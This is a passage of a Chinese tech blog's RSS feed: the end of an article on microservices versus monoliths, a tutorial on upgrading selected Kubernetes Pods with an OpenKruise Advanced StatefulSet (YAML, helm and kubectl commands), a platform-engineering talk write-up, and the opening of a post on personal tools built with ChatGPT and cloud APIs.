&lt;p&gt;Berkholz 说，“多年以来，我们看到同样的事情不断发生，领先的软件公司、网络公司和初创公司因为规模原因，遇到的问题，会在几年之后才开始冲击大众。”&lt;/p&gt;

&lt;h2 id=&#34;积累&#34;&gt;积累&lt;/h2&gt;

&lt;p&gt;服务导向二分法中最初的“邪恶轴心”是 1999 年的 &lt;a href=&#34;http://www.laputan.org/mud/&#34; target=&#34;_blank&#34;&gt;Big Ball of Mud&lt;/a&gt;。这个概念首先由伊利诺伊大学厄巴纳-香槟分校的 Brian Foote 和Joseph Yoder 教授提出，它提出了对分布式系统的支持。但是泥巴球不能简单地和单体应用划上等号。&lt;/p&gt;

&lt;p&gt;泥巴球并不是一座由僵硬、不灵活、紧密耦合的进程组成的令人生畏的高塔，而是将程序杂乱无章地堆积在其他程序上，通过将文件转储到软盘上，用纸板箱从办公室的楼梯上搬下来，在它们之间进行数据交换。在 20 世纪 90 年代和 21 世纪初的架构乱世中，如果一个系统脱离了泥巴球架构，那么可以说他已经相当优秀了。&lt;/p&gt;

&lt;p&gt;Forrester 高级分析师 David Mooter 回忆说：“SOA 架构的理念和微服务是相同的，这个理念就是，服务与业务能能力和业务运营模式相一致。而大多数组织只是随意构建 Web Service，也就是用 SOAP 来构建业务。杂乱无章的 SOAP，就变成了杂乱无章的泥巴球。因为每个人都在用 SOAP 来实现最差的 SOA，SOAP 的骂名由此而来。”&lt;/p&gt;

&lt;p&gt;Mooter 在一篇名为《The Death of Microservices?》的 Forrester 博文中分享了他的一些最新观点。在与我们的采访中，他指出：“我认为，通过对亚马逊博客的一些反应，你会发现当你采用了最糟糕的微服务实践，并将责任归咎于微服务而不是你糟糕的架构决策时，每个人都说微服务糟透了&amp;hellip;抛开微服务不谈：任何时髦的技术趋势都无法弥补糟糕的架构决策。”&lt;/p&gt;

&lt;p&gt;泥巴球“是一个模糊的、可塑的隐喻”，过去四分之一个世纪以来几乎所有失宠的方法论或架构都与之相关。当微服务在组织中取得进展时，单体架构就会被戴上荆棘的皇冠。最近，通过一些巧妙的措辞，微服务背上了耻辱的名号。&lt;/p&gt;

&lt;p&gt;The New Stack 的老朋友、专业工程教练 Laura Tacho 表示：“我们的行业在创新、实验和增长（有时被称为&lt;code&gt;和平时期&lt;/code&gt;）与紧缩和追求效率（&lt;code&gt;战时&lt;/code&gt;）之间像钟摆一样摆动，当然，大多数公司在不同领域都面临这两种情况，但显然我们现在处于紧缩时期。在这种时期，微服务拆分造成的效率影响就不再是一个易于回避的问题了”&lt;/p&gt;

&lt;p&gt;Berkholz 一直在观察同样的趋势：“行业内一直在摇摆，从单体到微服务，然后又回来。几年前，它是 SOA，然后再回来。&amp;rdquo;&lt;/p&gt;

&lt;p&gt;为了抵御这种周期性的摇摆，微服务的捍卫者说，他们的架构并不适合每一种情况，甚至不适合每一个组织。但这是个大问题。如果同时存在两个或更多相等的、相互竞争的解决方案，那么这个市场就会被判断为碎片化市场——而企业通常会主动避免参与碎片化市场。&lt;/p&gt;

&lt;p&gt;&amp;ldquo;分散意味着问题还没有为每个人很好地解决，&amp;rdquo;Berkholz告诉我们，&amp;rdquo;当有很多不同的解决方案，而没有人整合在一个单一的解决方案上，在大多数时候是有意义的。这是企业需要关注的问题。这是一个支离破碎的生态系统，很难做出选择？或者这是一个有明确和明显主宰的生态系统？&amp;rdquo;
Lori MacVittie 告诉我们，F5 Networks 会对其客户进行调查，询问他们的应用组合中被描述为单体、微服务、移动应用和中间件注入的客户/服务器应用的相对百分比。她告诉我们，大多数组织都在以其中的某个百分比运作。如果只问只把应用程序分为“传统的”还是“现代的”，通常是 &lt;sup&gt;60&lt;/sup&gt;&amp;frasl;&lt;sub&gt;40&lt;/sub&gt; 的比例。“他们用不同的风格做事，这是一种混乱吗？我不这么认为。特定模式的应用会有特定的用途。”&lt;/p&gt;

&lt;p&gt;微软的 Brendan Burns 表示：“我有点觉得微服务对单体并不是一个很好的争论，这就像争论向量与链表，或垃圾收集与内存管理。这些设计都是工具，更重要的是要了解你从每一种设计中得到的价值，以及你何时可以利用这种价值。如果你坚持对所有的东西进行微服务，你肯定会对一些单体进行微服务，而这些单体可能是你应该单独留下的。但如果你说，&amp;rsquo;我们不做微服务&amp;rsquo;，你可能会把一些敏捷性、可靠性和效率留在桌上。”&lt;/p&gt;

&lt;p&gt;大泥球的创造者引用了康威法则，作为软件架构变得臃肿和不方便的原因：“任何组织设计一个系统（广义的定义）都会产生一个设计，其结构是该组织的通信结构的副本。”多年来，微服务的倡导者们将这一概念向前推进了几步，建议业务结构甚至组织结构图都应该被刻意改造，以便与软件、系统和服务保持一致。&lt;/p&gt;

&lt;p&gt;Tacho 指出，当 IT 架构潮流的钟摆开始回摆，玩家们也会重新考虑既有观念，也许这不仅仅是康威法则敲响了警钟，甚至还还有一种可能：市场条件是否允许我们暂时无视康威法则，以便在效率和创新之间进行权衡？沿用前面战争与和平的比喻，Tacho 继续说道：“一切都是一种权衡。过去因为微服务可能导致开发减缓、流程变得不那么高效的决策，在和平时期可能完全没问题，但在战时还要不断为这些低效性辩护，则是令人厌倦的。在战时，大多数公司不会针对庞大的代码库进行重构的投资。他们必须考虑业务回报率更高的其他优先事项，但像亚马逊这样的庞然大物会拥有更多的灵活性。”&lt;/p&gt;

&lt;p&gt;Forrester 的 Mooter 建议说：“你首先应该看的是你的业务，
什么是正确的架构？微服务不是目的，业务成果才是。你要实现的业务成果是什么？”，Forrester 称之为“结果驱动的架构”。“我们如何调整我们的 IT 系统和基础设施以及应用程序，以优化你的能力来实现这些？它将随着时间的推移而改变。”&lt;/p&gt;

&lt;p&gt;微软的 Burns 说，“微服务设计的好处之一是，它拥有非常具体的 API，团队之间的合同很清晰，使小团队能够自主地行动。如果你的开发文化的其他部分阻止你的小团队自主运作，那么你就永远不会获得微服务的敏捷性好处。当然，微服务也有其他的好处，比如增加弹性，以及通过更优化的扩展来提高潜在的效率。这不是一个全有或全无的问题，但也是一个情况，即在实施微服务时，独立和自主的工程文化结构会做得更好。我不认为这与十年前与 DevOps 运动相关的文化变革有多大区别。”&lt;/p&gt;

&lt;p&gt;Prime Video 在 NFL 橄榄球版权上进行了一场巨大的商业赌博，而随着时间的推移，这场赌博是否会得到回报，目前还没有定论。这一举措在 Prime Video 工程团队的某些敏感区域点燃了一把火。他们可能突然被要求提前提供原计划在三到五年后提供的能力。所以他们做了一个架构上的转变，这个转变可能是计划内的，也可能是被迫的。他们是否像他们的最佳实践建议的那样，在未来的道路上实现了业务灵活性？或者他们只是把 Prime Video 绑在一个服务合同上，他们的业务将被迫永远适应这个合同？从这个角度来看，人们很容易忘记哪个选项是单体，哪个是微服务。&lt;/p&gt;

&lt;p&gt;这是我们向 AWS 的 Ajay Nair 提出的一个难题，他的回答值得密切关注，不仅仅是软件工程师：&amp;rdquo;建立一个可演化的架构软件系统是一种战略，而不是一种宗教。&amp;rdquo;&lt;/p&gt;

&lt;p&gt;更新：自出版以来，这个故事已被更新，加入了 AWS 围绕 Step Function 提供的额外材料。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>使用 OpenKruise 升级指定 Pod</title>
      <link>/post/upgrade-specified-pod/</link>
      <pubDate>Sat, 17 Jun 2023 00:17:21 +0800</pubDate>
      <guid>/post/upgrade-specified-pod/</guid>
      <description>

&lt;p&gt;最近在和同事讨论一个非典型的云原生应用更新场景。目标应用是一系列有状态的 Statefulset，其中的实例用类似投票的机制对外提供服务，这意味着始终有一部分实例是处于待命状态的。由此情况，这个应用在虚拟化时期，会提供一个仲裁服务，每次对实例进行更新时，首先要从这个仲裁服务查出可以更新的摸鱼实例，然后仅仅对这些空闲实例进行升级。&lt;/p&gt;

&lt;p&gt;这种行为在虚拟化场景是行之有效的，到了 Kubernetes 环境就难搞了，Statefulset 的 Partition 能力官网说明如下：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;RollingUpdate更新策略可以通过指定.spec.updateStrategy.rollingUpdate.partition来进行分区。如果指定了分区，当StatefulSet的.spec.template被更新时，所有序数大于或等于分区的Pod将被更新。所有序号小于分区的Pod将不会被更新，即使它们被删除，也会以以前的版本重新创建。如果一个 StatefulSet 的 .spec.updateStrategy.rollingUpdate.partition 大于其 .spec.replicas，对其 .spec.template 的更新将不会被传播到其 Pods。在大多数情况下，你不需要使用分区，但如果你想进行阶段性更新、推出金丝雀或执行分阶段推出，它们是有用的。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;如此看来，分区更新能力会保护分区序号以内的&lt;strong&gt;连续的&lt;/strong&gt; Pod 保持原样，和需求中提到的随时分配情况还是颇有不同的。在我看来，更好的做法是效仿 KubeDB 系列的产品，自行控制更新行为——当然，对甲方提出这种非分要求是不合适的。既然这个需求如此的不云原生，那么先看看 Open Kruise 总不会错的。经过对其文档的阅读，有两个发现：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Partition：和 Statefulset 不同，它的 Partition 可以使用整数和百分比两种方式&lt;/li&gt;
&lt;li&gt;可以使用标签的方式指定升级时候的优先级。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;如果这两个方法能够同时生效，这个需求就有望完成了，设计要点如下：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;从仲裁服务中，获得工作和空闲副本的情况&lt;/li&gt;
&lt;li&gt;刷新 Statefulset 中的 Pod 标签，用于指示当前工作状态。&lt;/li&gt;
&lt;li&gt;设置 Partition，将 Partition 数量设置为等于工作中的副本数量进行保护。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;由此可以编写一个 Advanced Statefulset，示例如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: apps.kruise.io/v1beta1
kind: StatefulSet
metadata:
  name: sample
spec:
  replicas: 5
  serviceName: fake-service
  selector:
    matchLabels:
      app: sample
  template:
    metadata:
      labels:
        app: sample
        working: &amp;quot;false&amp;quot;
    spec:
      readinessGates:
      - conditionType: InPlaceUpdateReady
      containers:
      - name: main
        image: alpine:3.18.2
        command: [&#39;sleep&#39;, &#39;3600&#39;]
  podManagementPolicy: Parallel
  updateStrategy:
    rollingUpdate:
      partition: 3
      unorderedUpdate:
        priorityStrategy:
          weightPriority:
          - weight: 30
            matchSelector:
              matchLabels:
                working: &amp;quot;true&amp;quot;
          - weight: 50
            matchSelector:
              matchLabels:
                working: &amp;quot;false&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里的定义有几个需要关注的点：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Pod 模版中加入了 &lt;code&gt;working&lt;/code&gt; 标签，用于指示每个 Pod 当前的工作状态。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;unorderedUpdate.priorityStrategy.weightPriority&lt;/code&gt;：这里指定了非工作状态的 Pod 会有更高优先级。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;partition&lt;/code&gt; 设置为 3：这里我们假设工作中的副本有 3 个。&lt;/li&gt;
&lt;li&gt;这里镜像使用 &lt;code&gt;alpine:3.18.2&lt;/code&gt;，作为我们的工作负载。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;安装-open-kruise&#34;&gt;安装 Open Kruise&lt;/h2&gt;

&lt;p&gt;传统的 Helm 三部曲：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;helm repo add openkruise https://openkruise.github.io/charts/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;helm update&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;helm install kruise openkruise/kruise --version 1.4.0&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;部署应用&#34;&gt;部署应用&lt;/h2&gt;

&lt;p&gt;部署前面的 Advanced Statefulset：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl apply -f statefulset.yaml
statefulset.apps.kruise.io/sample created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;查看当前工作负载的镜像：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$  kubectl images
[Summary]: 1 namespaces, 5 pods, 5 containers and 1 different images
+----------+-----------+---------------+
|   Pod    | Container |     Image     |
+----------+-----------+---------------+
| sample-0 | main      | alpine:3.18.2 |
+----------+           +               +
| sample-1 |           |               |
+----------+           +               +
| sample-2 |           |               |
+----------+           +               +
| sample-3 |           |               |
+----------+           +               +
| sample-4 |           |               |
+----------+-----------+---------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到五个副本用的都是 &lt;code&gt;alpine:3.18.2&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&#34;标识工作负载&#34;&gt;标识工作负载&lt;/h2&gt;

&lt;p&gt;我们使用标签，把第 &lt;code&gt;0&lt;/code&gt;、&lt;code&gt;2&lt;/code&gt;、&lt;code&gt;4&lt;/code&gt; 三个 Pod 的 &lt;code&gt;working&lt;/code&gt; 标签设置为 &lt;code&gt;true&lt;/code&gt;。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl label pods sample-0 working=true --overwrite
pod/sample-0 labeled
$ kubectl label pods sample-2 working=true --overwrite
pod/sample-2 labeled
$ kubectl label pods sample-4 working=true --overwrite
pod/sample-4 labeled
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;更新镜像&#34;&gt;更新镜像&lt;/h2&gt;

&lt;p&gt;替换镜像为 &lt;code&gt;alpine:3.18.0&lt;/code&gt;，然后 &lt;code&gt;apply&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl apply -f statefulset.yaml
statefulset.apps.kruise.io/sample configured
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;验证结果&#34;&gt;验证结果&lt;/h2&gt;

&lt;p&gt;查看 Pod 状态：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get pods
NAME       READY   STATUS    RESTARTS   AGE
sample-0   1/1     Running   0          9m27s
sample-1   1/1     Running   0          5s
sample-2   1/1     Running   0          9m27s
sample-3   1/1     Running   0          39s
sample-4   1/1     Running   0          9m27s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，&lt;code&gt;working&lt;/code&gt; 为 &lt;code&gt;false&lt;/code&gt; 的 Pod 已经被更新。&lt;/p&gt;

&lt;p&gt;查询一下所用的镜像：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ 1 namespaces, 5 pods, 5 containers and 2 different images
+----------+-----------+---------------+
|   Pod    | Container |     Image     |
+----------+-----------+---------------+
| sample-0 | main      | alpine:3.18.2 |
+----------+           +---------------+
| sample-1 |           | alpine:3.18.0 |
+----------+           +---------------+
| sample-2 |           | alpine:3.18.2 |
+----------+           +---------------+
| sample-3 |           | alpine:3.18.0 |
+----------+           +---------------+
| sample-4 |           | alpine:3.18.2 |
+----------+-----------+---------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里就看得出，工作状态的 Pod 保持原样，而非工作状态的 Pod 已经被更新。&lt;/p&gt;

&lt;h2 id=&#34;继续推动&#34;&gt;继续推动&lt;/h2&gt;

&lt;p&gt;如果此时再次更新，应该让更新后的实例进入工作状态，把原有工作实例设为空闲，并减小 Partition 数量，所以把 1 号 Pod 设置为工作状态，同时把 4 号 Pod 设置为空闲状态，最后把分区数量缩减为 2，看看会发生什么：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl images
[Summary]: 1 namespaces, 5 pods, 5 containers and 2 different images
+----------+-----------+---------------+
|   Pod    | Container |     Image     |
+----------+-----------+---------------+
| sample-0 | main      | alpine:3.18.2 |
+----------+           +---------------+
| sample-1 |           | alpine:3.18.0 |
+----------+           +---------------+
| sample-2 |           | alpine:3.18.2 |
+----------+           +---------------+
| sample-3 |           | alpine:3.18.0 |
+----------+           +               +
| sample-4 |           |               |
+----------+-----------+---------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里看到，只有 &lt;code&gt;sample-0&lt;/code&gt; 和 &lt;code&gt;sample-2&lt;/code&gt; 还在使用 &lt;code&gt;3.18.2&lt;/code&gt; 版本，其它副本都成功变更为 &lt;code&gt;3.18.0&lt;/code&gt; 的镜像。&lt;/p&gt;

&lt;h2 id=&#34;注&#34;&gt;注&lt;/h2&gt;

&lt;p&gt;其实不难看出，要把上述功能实现到自动化流程里，还是需要编写一些控制逻辑的——以及引进一个三方软件的成本，活罪难逃不是？&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>这叫平台工程吗</title>
      <link>/post/kcd-2023-keynote/</link>
      <pubDate>Sat, 13 May 2023 16:04:14 +0800</pubDate>
      <guid>/post/kcd-2023-keynote/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;本文主要内容来自于 2023 年大连 Kubernete Community Day 的演讲《集群多还是多集群？——云原生平台工程探索》&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;第一页-听说-devops-死了&#34;&gt;第一页——听说 DevOps 死了&lt;/h2&gt;

&lt;p&gt;2022 年底，InfoQ 发了一篇爆款文，《DevOps 已死，平台工程才是未来》，这里总结了一个太长不看版：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;开发者并不想做运维，工程师不仅编写代码，还要运行他们编写的代码；&lt;/li&gt;
&lt;li&gt;反模式：高级工程师现在要负责环境配置，并需要处理比较初级的同事的请求；&lt;/li&gt;
&lt;li&gt;除了 CICD 之外，还有很多复杂的运维场景：配置管理、依赖管理、跨环境部署、统一的安全管控..&lt;/li&gt;
&lt;li&gt;虽然对于像谷歌、亚马逊、Airbnb 这些比较先进的组织来说，上述方法很有效，但对于其他大多数团队而言，要在实践中复制真正的 DevOps 并不简单。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;还提到 Gartner 的炒作周期图，将平台工程定义为正在上升期的技术，并且会在 2-5 年达到平台期。&lt;/p&gt;

&lt;p&gt;其实这部分回答了我一直以来的一个小迷惑——所谓大一统的运维平台/工具，到底有没有存在的意义？是不是说&lt;em&gt;假设&lt;/em&gt; DevOps 团队成长起来了，就不需要这种集中产出的工具和规范了？&lt;/p&gt;

&lt;p&gt;首先，我们来看看 DevOps，DevOps 是一种文化，而非一种角色。在 DevOps 文化中，开发和运维团队需要更紧密地协作，共同为业务提供更好的服务。但这并不意味着所有开发人员都需要成为运维专家，或者所有运维人员都需要成为开发专家。&lt;/p&gt;

&lt;p&gt;在实践中，即使是 DevOps 团队，也需要有明确的职责划分和专业分工。大一统的运维平台/工具的存在意义就在于它可以提供一种标准化和自动化的方式，使得 DevOps 团队能更高效地进行日常工作，而不需要过度关注具体的运维细节。这并不是说 DevOps 团队成长起来就不需要这种工具了，相反，随着团队的成熟，这种工具的价值会更加明显。&lt;/p&gt;

&lt;p&gt;再来看看高级工程师组成的 DevOps 梦之队。虽然有一些高级工程师在多个技术领域都有深厚的造诣，但是他们的存在并不能解决所有问题。专家本身的技术一定是有所侧重和偏爱的，而且在多个不同种类的工作之间进行频繁切换会严重影响效率。而且，聘用多个领域的专家组成全职能 DevOps 团队的成本非常高，这对于大多数公司来说是不切实际的。&lt;/p&gt;

&lt;p&gt;最后，我们来看看平台工程。平台工程将复杂的运维任务抽象为平台服务，由专门的平台工程团队提供支持。这样，开发团队就可以将更多的精力投入到业务开发上，而不是被运维问题所困扰。平台工程团队一般由具有深厚运维经验和开发能力的高级工程师组成，他们可以为开发团队提供高质量的平台服务，从而提高整个组织的开发效率。因此，平台工程才是未来的趋势。&lt;/p&gt;

&lt;p&gt;关于平台工程的文章中一般还会提到一本书：《Team Topologies》，这本书中，详细描述了通常被称为成本中心的平台团队的服务范围、交付模式、运营内容等做了一番阐述，建议 SRE 工具建设领域的朋友们阅读本书增强自信。根据本书描述，有四种基本的拓扑结构，团队应该围绕这些拓扑结构进行：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;业务导向团队：与业务领域某个部分的工作流相匹配，处理核心业务逻辑。&lt;/li&gt;
&lt;li&gt;赋能团队：帮助业务导向团队克服障碍并检测缺失的功能。&lt;/li&gt;
&lt;li&gt;复杂子系统团队：在严重依赖数学/技术方面的专业知识时组建。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;平台团队：提供一个令人信服的内部平台，提高业务导向团队的交付速度。&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;各自为政有什么问题&#34;&gt;各自为政有什么问题&lt;/h2&gt;

&lt;p&gt;下面说点常见的场景。&lt;/p&gt;

&lt;h3 id=&#34;第三方软件选型和采用&#34;&gt;第三方软件选型和采用&lt;/h3&gt;

&lt;p&gt;首先说的是云原生，很多人都领略过 Cloudscope Landscape 的宏伟壮观。选型时无从下手，尤其是面对同类项目（例如 ELK 栈和 Loki 栈，Docker 和 Podman 等）时，社交网络定选型是个常态。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/comm-adopt.png&#34; alt=&#34;images&#34; /&gt;&lt;/p&gt;

&lt;p&gt;然而大家心里应该都清楚，引入一个“看上去不错”开源软件进入企业系统，是有很多需要考虑的内容的，例如：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;项目健康度如何？例如社区活跃程度、Issue 响应速度、社区多样性等。&lt;/li&gt;
&lt;li&gt;是否有商业公司提供支持？&lt;/li&gt;
&lt;li&gt;软件本身是否满足其 License 要求？软件的 License 是否能够满足企业内使用的场景需求？&lt;/li&gt;
&lt;li&gt;软件及其依赖项合法合规吗？&lt;/li&gt;
&lt;li&gt;除了功能之外，稳定性、可靠性、安全性等非功能特性是否满足企业需要？&lt;/li&gt;
&lt;li&gt;运维特性，例如倒换、扩缩容、升级、备份恢复等是否完善方案，用于支撑长期运行？&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;软件选定之后还面临世界对接的问题，常见的问题包括认证、可观测性、存储等的对接，这些还是一些点状的功能，在云原生体系里，还有一个更严重的体系冲突问题。&lt;/p&gt;

&lt;p&gt;我常用这张图来把“普通”开源软件和云原生软件的采用过程进行对比：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/fishbone.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;一个有一定规模的企业的 IT 体系，条条框框是相对固定的，软件规模不管大小，都可以服服帖帖、按部就班的落到代表体系规则的鱼骨图里，而以 Kubernetes 为代表的云原生生态则不同，其中自带了各种条条框框，不光是改了改你的部署运行方式，还对你的运维方式产生深远影响，&lt;strong&gt;甚至对你的应用架构指指点点&lt;/strong&gt;。如果不照章办事，就可能和生态不兼容。因此云原生进入企业，通常会跟 IT 系统的现存规则交缠在一起，形成一种相互影响和制约的新体系。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/platform-tasks.png&#34; alt=&#34;image&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;用户又乱搞了&#34;&gt;用户又乱搞了&lt;/h3&gt;

&lt;p&gt;以我熟悉的 Kubernetes 为例，一些用户的操作，可能造成各种奇怪的不良后果，例如：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;滥用节点反亲和导致无法调度&lt;/li&gt;
&lt;li&gt;引入网络恶意镜像损失算力甚至被盗取机密&lt;/li&gt;
&lt;li&gt;误用本地存储，Pod 漂移后数据损失&lt;/li&gt;
&lt;li&gt;错误配置引发集群异常&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Kubernetes 对象的易用性，随手可得的各种技巧，都给误操作和危险行为以可乘之机，然而实际情况是，如果是多个团队自行进行运维，可能就会产生五花八门的不同风格的集群，如下图所示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/multiple-k8s.png&#34; alt=&#34;k8s&#34; /&gt;&lt;/p&gt;

&lt;p&gt;很明显，不同团队因为各自的业务目标、技能水平等，会产生各种不同风格的集群，自然而然，不同的集群，有机会进行不同的“乱搞”，也会出现不同的问题。&lt;/p&gt;

&lt;h2 id=&#34;我说平台工程&#34;&gt;我说平台工程&lt;/h2&gt;

&lt;p&gt;根据流行定义：平台工程是一门设计和构建工具链和工作流的学科，在云原生时代为软件工程组织提供自助服务能力。平台工程师提供一个集成的产品，通常被称为 “内部开发者平台&amp;rdquo;，涵盖了应用程序整个生命周期的操作需要。&lt;/p&gt;

&lt;p&gt;以我所见，平台工程面在三个方面为组织提供支持基础设施、规范和工具：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/platform-tasks.png&#34; alt=&#34;tasks&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;基础设施&#34;&gt;基础设施&lt;/h3&gt;

&lt;p&gt;现代软件运行需要大量的基础设施，除了传统的 网络、计算、存储之外，还包括大量的服务化的中间件等能力，OpenStack、Kubernetes 等资源编排工具也属于是传统管控难题。平台团队可以综合基础设施自有的管控运维能力，使用 Terraform、Kubernetes CRD、等资源抽象和自动化手段，为开发团队及其产品，规划、搭建、自动化和优化可靠、安全、高性能的基础设施，以支持业务的运行和发展。&lt;/p&gt;

&lt;h3 id=&#34;规范&#34;&gt;规范&lt;/h3&gt;

&lt;p&gt;企业 IT 环境通常会有一系列的规范，例如设施命名、账号管理、IP 分配等等；另外操作系统、容器集群等具有极大灵活性的基础设施，也通常是需要有一定的规范化管理的，这里提到的规范至少包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;安全规范：平台团队负责制定和实施安全规范，以确保平台和应用程序的安全性。这可能包括访问控制、身份验证、数据加密、漏洞管理等方面的规范。&lt;/li&gt;
&lt;li&gt;部署和发布规范：平台团队可以制定规范，定义部署和发布流程，并确保它们得到正确执行。这些规范可以包括环境分离、版本控制、持续集成和持续交付等。&lt;/li&gt;
&lt;li&gt;最佳实践：各种最佳实践可以通过规范的形式进行推行和实施。将最佳实践转化为规范的形式可以确保团队成员共享相同的理解，并提供具体的指导和标准，以便在组织中广泛应用，例如访问控制规范、文档发布规范、接口管理规范等等。&lt;/li&gt;
&lt;li&gt;资源规范：例如资源申请和分配、生命周期管理、成本控制、审计和监控等的规范，有助于组织资源的有效利用、成本控制和性能优化。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;工具&#34;&gt;工具&lt;/h3&gt;

&lt;p&gt;平台工程的主要产出就是一个被称为 idp（内部开发平台）的工具，以此工具为开发团队提供支持，在实际工作中，工具部分的工作内容至少包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;外部（开源/商业）软件的导入：除了前面提到的采用开源软件的层层关卡之外，平台工程团队还应负责补齐第三方软件的运维能力、外部软件和内部平台的配套对接、开发并实施明确、有效并且成本合理的生命周期管理过程。&lt;/li&gt;
&lt;li&gt;基础设施的供给、隔离：在基础设施自身服务接口和运维能力基础之上，为各个开发组织以及产品，规划并供给基础设施资源，尽可能让产品团队关注资源本身，并提供成本监测、优化等技术支持能力，用隔离手段防止租户和租户、租户和管理之间的不必要的资源访问。&lt;/li&gt;
&lt;li&gt;Dev(Sec)Ops：包含供应链安全、代码质量、环境管理等的复杂 CI/CD 生命周期相关能力。&lt;/li&gt;
&lt;li&gt;规范实施：平台或者工具，除了是业务的加速器，同时也是管理意志的执行者。&lt;strong&gt;纯文本&lt;/strong&gt;的规范举步维艰，只有靠策略保障、工具辅助等方式，才能保障规范背后的管理意图的达成。&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>机场杂谈：挥霍 API 和 AIGC</title>
      <link>/post/tools-everywhere/</link>
      <pubDate>Sun, 30 Apr 2023 10:18:39 +0800</pubDate>
      <guid>/post/tools-everywhere/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;最近总在写一些小玩意，有了 Copilot 和 ChatGPT，我得了一种奢侈的选择困难症——每次写代码之前都会犹豫一下：这次用啥语言呢？&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;几个小玩具&#34;&gt;几个小玩具&lt;/h2&gt;

&lt;h3 id=&#34;我给自己做了个播客&#34;&gt;我给自己做了个播客&lt;/h3&gt;

&lt;p&gt;生娃和进厂之后，个人独处时间越发金贵，随之而来的问题就是阅读量难于保障了。过去我的阅读流程是浏览邮件列表、固定的播客、推特等信息源头，根据喜好情况搜集到 Pocket 之类的 Read it later 工具里面。但是现在因为缺乏连续时间，待读列表越来越长。想了下也就是跑步和开车的时候耳朵是比较清闲的——灵机一动：“给自己做个播客吧”。&lt;/p&gt;

&lt;p&gt;个人使用，当然能省则省，大致定下了这样几个分工和工具：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;运行平台：Google Function，免费额度足够每日使用，负责抓取网文并&lt;/li&gt;
&lt;li&gt;存储：使用 Google 对象存储，同样免费额度&lt;/li&gt;
&lt;li&gt;交互：Github Issue/Comment + Webhook，构成交互界面&lt;/li&gt;
&lt;li&gt;翻译和整理：ChatGPT/DeepL，将互联网上抓取的内容进行翻译和排版&lt;/li&gt;
&lt;li&gt;TTS：Azure TTS 服务免费额度&lt;/li&gt;
&lt;li&gt;Buzzsprout：支持 API 的播客托管平台，能自动对接 Apple 和 Google 的播客服务目录&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;选定平台之后，使用 Github Issue 交互，通过 Webhook 调用 Google Function，借助各个服务，完成抓取、翻译、朗读以及发布的环节，最终形成了我自己的播客节目，怎么说呢——聊胜于无吧。&lt;/p&gt;

&lt;h3 id=&#34;我给自己翻译了一本书&#34;&gt;我给自己翻译了一本书&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;想把一本书翻译成中文，在线等，挺急的。&lt;/p&gt;
